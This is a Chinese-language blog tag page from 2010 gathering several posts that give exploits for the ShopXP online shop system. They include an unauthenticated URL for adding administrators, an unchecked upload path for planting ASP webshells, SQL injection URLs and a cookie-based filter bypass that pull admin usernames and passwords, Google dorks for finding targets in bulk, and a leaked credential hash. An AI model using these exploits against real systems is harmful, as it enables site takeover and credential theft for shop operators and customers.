浏览模式: 标准 | 列表Tag:shopxp

shopxp html版2.0直接添加管理员漏洞

Submitted by admin
2010, October 9, 6:57 PM

lan3a告诉我,他发过了,原来我不是第一个,狂汗。。。

程序:shopxp html版2.0,1.0的应该也是一样的存在

漏洞:直接添加管理员

关键字:就是没找到关键字才郁闷

FROM http://www.st999.cn/blog BY 流浪的风  2010/10/9

程序下载地址:http://www.codepub.com/software/SHOPXP-7615.html

 

<!--#include file="xp.asp"-->
<%
dim adminid,action
action=request.QueryString("action")
adminid=request.QueryString("id")
if adminid="" then adminid=request("adminid")
select case action
case "save"
set rs=server.CreateObject("adodb.recordset")
rs.Open "select * from [shopxp_admin] where adminid="&adminid,conn,1,3

………………………………


rs.Update
rs.Close
set rs=nothing
response.Write "<script language=javascript>alert('操作成功!');history.go(-1);</script>"
case "del"
conn.execute "delete from [shopxp_admin] where adminid in ("&adminid&") "
'response.Redirect "manageuser.asp"
response.Redirect request.servervariables("http_referer")
end select
%>
 

调用的xp.asp:

<!--#include file="database_name.asp" -->
<%
dim conn,connstr,db
startime=timer()
db="../shopxp/"&dataname&"" '数据库
on error resume next '尝试连数据库,一直到超时,但可以加强SQL注入过滤
connstr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
'connstr="DBQ="+server.mappath(""&db&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
%>

嘿嘿,也是未做过滤和验证的,那么就产生了个直接添加管理员的漏洞。

http://127.0.0.1:99/admin/savexpadmin.asp?action=add&admin2=st999&password2=st999.cn&Submit2=%CC%ED%BC%D3%B9%DC%C0%ED%D4%B1

其中的admin2和password2是要添加的管理员的用户名和密码

添加的用户虽然权限不是最高的管理员权限,但拥有编辑和上传图片的权限,就足够拿shell了。

至于拿shell的方法我就不说了,大家都知道的。

 

upfilepic_get.asp?formname=form1&editname=ad&uppath=img_shopxp/ad&filelx=jpg

Tags: shopxp

ShopXp CMS上传拿Webshell

Submitted by admin
2010, June 25, 11:10 AM

作者:lan3a
出处:lan3a.com

首先,必须要知道管理员的目录,因为上传只有后台才可以。
在upLoad_bm.asp文件里,首先没有检查来访者的身份。所以可以直接访问
代码如下:


<%
uppath=request("a")&"/"    '文件上传路径
filelx=request("b")    '文件上传类型   1-jpg  2-jpg&flash  3-htm
formName=request("c")    '回传到上页面编辑框所在Form的Name,为空则不回传,只显示上传后的文件名
EditName=request("d")    '回传到上页面编辑框的Name
if uppath="" or filelx="" then
%>


上传路径我们可以自己定义,上传类型,不填,程序就一个JS提醒一下。照样执行。

利用方法:upLoad_bm.asp?a=uploadfile

比如www.lan3a.com
利用地址为:www.lan3a.com/admin/upLoad_bm.asp?a=uploadfile
直接上传asp木马。

关键字为:inurl:newgoods.asp?action_key_order=news

Tags: shopxp

SHOPXP网上购物系统 v8.0

Submitted by admin
2010, February 24, 9:12 PM

注意:用户名和密码是连在一起的,后十六位是密码MD5加密  adminb1481eca94b12f75 =====admin  b1481eca94b12f75(38983806 )
第三步:登陆后台:/admin  或者/admin_shopxp
第四步:把小马改为图片格式后缀准备上传
-帕瓦]

    
商城系统差不多都是互相抄的。漏洞和网趣的那个一样,不过人家加了一个枫叶的防注入,没什么用处。
在TEXTBOX2.ASP TEXTBOX3.ASP页面的newsid变量为判断
Action=LCase(Request.QueryString("Action")) 
newsID=Request.QueryString("newsID")
If request("action")="modify" Then 
set rs=server.createobject("adodb.recordset") 
sql="select * from shopxp_news where newsid="&newsid 
rs.open sql,conn,1,1 
     If Not rs.Eof Then 
         Content=rs("newscontent") 
     End If 
     Response.Write Content 
End If 
构造URL注入即可。
exp:

http://www.xx.com/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201

,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin
批量
google:inurl:shopxp_news.asp 

Tags: shopxp

SHOPXP网上购物系统 v8.0 注入漏洞利用

Submitted by admin
2010, February 6, 1:54 PM

上次说了SHOPXP网上购物系统 7.4的注入漏洞   跟新了,看看8.0的

商城系统差不多都是互相抄的。漏洞和网趣的那个一样,不过人家加了一个枫叶的防注入,没什么用处。

在TEXTBOX2.ASP TEXTBOX3.ASP页面的newsid变量为判断
复制代码 Action=LCase(Request.QueryString("Action")) 
newsID=Request.QueryString("newsID") 

If request("action")="modify" Then 
set rs=server.createobject("adodb.recordset") 
sql="select * from shopxp_news where newsid="&newsid 
rs.open sql,conn,1,1 
     If Not rs.Eof Then 
         Content=rs("newscontent") 
     End If 
     Response.Write Content 
End If 
 


构造URL注入即可。

exp:
http://www.gn918.cn/TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201,2,admin%2bpassword,4,5,6,7%20from%20shopxp_admin

批量
google:inurl:shopxp_news.asp

Tags: shopxp

Shopxp v8.0 SQL Injection 0day

Submitted by admin
2010, February 2, 10:22 AM

文/My5t3ry
最近帮朋友看一个站,发现用的是shopxp,就下了shopxp源码回来读了下,发现漏洞不少,下面一起来看看。
这套系统使用了早期的枫叶防注系统,只过滤了GET,并且可以绕过,这里不谈绕过的问题了,我们看到
xplistpl.asp  9-36行代码:

<table width="100%"  border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="88%"><TABLE cellSpacing=0 cellPadding=0 width=100% align=center border=0>
      <TBODY>
        <TR>
          <td width="1" background="img_shopxp/xiao/bgbg.gif"></td>
          <TD class=b vAlign=top align=left><%if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
dim id
id=request.QueryString("id")
if not isinteger(id) then
response.write"<script>alert(""非法访问!"");location.href=""index.asp"";</script>"
end if%>
              <table width="100%" align="center" border="0" cellspacing="0" cellpadding="0" class="table-zuoyou" bordercolor="#CCCCCC">
                <tr>
                  <td width="100%" valign="top" bordercolor="#FFFFFF" bgcolor="#FFFFFF" align="center"><table width="100%" border="0" cellspacing="0" cellpadding="4" align="center">
                      <%
                set rs=server.createobject("adodb.recordset")
                rs.open "select * from shopxp_product where shopxpptid="&request("id"),conn,1,3
                if rs.recordcount>0 then
                spmx=rs("shopxpptname")
                end if%>
                      <tr>
                        <td colspan="3" background="img_shopxp/class_bg.jpg" height=50>  <a href=index.asp><%=webname%></a> >> 商品评论:<%=spmx%></td>
                      </tr>
                    </table>
上面这段代码存在逻辑漏洞哦,其中IsNumeric(request.QueryString("id"))=False 这句判断获取的id是否为数字,如果false则停止执行,
但这里的id是通过request.QueryString获取的,如果我们不给id赋值会怎么样呢?同学们可以通过下面的代码来验证:
<%
if IsNumeric(request.QueryString("id"))=False then
response.write("<script>alert(""非法访问!"");location.href=""index.asp"";</script>")
response.end
end if
response.write("my5t3ry")
%>

 

保存为test.asp,然后直接访问test.asp,看是否打印my5t3ry? 如果不用过request.QueryString给id赋值,
而是通过,request.form或者request.cookies给id赋值是可以直接绕过他的判断的,代码不会停止执行,然后进入
sql查询用的是request("id"),学过asp的同学都知道request通吃get,post,cookie的,到这里就成功bypass防注和IsNumeric函数的判断。

exploit:

 

用Firefox访问目标站,使用Firefox的插件noscript禁用该站javascript
然后清空地址栏,输入:
javascript:alert(document.cookie="id=" + escape("1  union select 1,cstr(adminid)&chr(124)&admin&chr(124)&password,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3 from shopxp_admin"));location.href="/xplistpl.asp";
Ps:如果商品评论后面没有显示,多半是字段数步对造成的,

shopxp7.4 oday (未完成)

Submitted by admin
2010, January 21, 12:47 AM

这篇日志被加密了,请输入密码后查看。